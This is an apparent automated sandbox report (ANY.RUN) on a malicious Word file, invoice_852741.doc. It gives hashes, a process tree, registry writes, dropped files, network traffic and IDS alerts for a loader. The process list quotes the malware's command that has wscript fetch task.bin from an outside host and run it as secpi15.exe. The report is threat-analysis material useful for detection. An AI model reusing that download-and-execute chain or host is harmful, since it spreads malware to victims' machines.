| File name: | invoice_852741.doc |
| Full analysis: | https://app.any.run/tasks/ec9e19bf-2ae9-4a2a-acb3-4a0dad19d196 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 06, 2019, 16:22:18 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/encrypted |
| File info: | CDFV2 Encrypted |
| MD5: | 2611A6EE38870E6E3EA8E64250ED59A4 |
| SHA1: | 7571F306B93C3E9B174FCEE7E66A651D809CD2D8 |
| SHA256: | F6C00F5EF3B8D8DC35BD8994C2767AB0BE6806164DB5B24A97F39DB1CD857A98 |
| SSDEEP: | 12288:0DUsovIWMQLOaKDJo8nZ3SOcfqo794yzwy2RvF0iJupx/SZqdAPUbbAJXvkNUaB:UUjLOaKDJ7CbiIId0CuzDd4D6 |
MALICIOUS
Downloads executable files from the Internet
- wscript.exe (PID: 3272)
Application was dropped or rewritten from another process
- secpi15.exe (PID: 3328)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 1856)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 1856)
SUSPICIOUS
Executable content was dropped or overwritten
- wscript.exe (PID: 3272)
Executes scripts
- cmd.exe (PID: 1416)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1856)
Creates files in the user directory
- WINWORD.EXE (PID: 1856)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
40
Monitored processes
4
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1416 | cmd /c ""C:\Colorfonts32\B4D9D02119.cmd" " | C:\Windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1856 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\invoice_852741.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3272 | wscript //nologo c:\Colorfonts32\visitcard.vbs http://ygbunjbvycrd.info/task/task.bin c:\Colorfonts32\secpi15.exe | C:\Windows\system32\wscript.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3328 | c:\Colorfonts32\secpi15.exe | c:\Colorfonts32\secpi15.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
2 206
Read events
1 136
Write events
988
Delete events
82
Modification events
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | d-? |
Value: 642D3F0040070000010000000000000000000000 | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1856) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1334181950 | |||
Executable files
2
Suspicious files
0
Text files
39
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9D44.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF261B631FF650B960.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF7E820F113DB77BA8.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFECCBE964BE2B4D9E.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1CCD453B00E1AA89.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\mso602.tmp | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF3FA5F75AC8ACFF59.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF263F3FCBA51210D1.TMP | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E5140A82.png | — | |
MD5:— | SHA256:— | |||
| 1856 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFA0D8AC778ACB260F.TMP | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3272 | wscript.exe | GET | 200 | 204.11.58.229:80 | http://ygbunjbvycrd.info/task/task.bin | US | executable | 148 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3272 | wscript.exe | 204.11.58.229:80 | ygbunjbvycrd.info | PDR | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ygbunjbvycrd.info |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3272 | wscript.exe | A Network Trojan was detected | ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin |
3272 | wscript.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3272 | wscript.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 |
Process | Message |
|---|---|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|
secpi15.exe | Installing...
|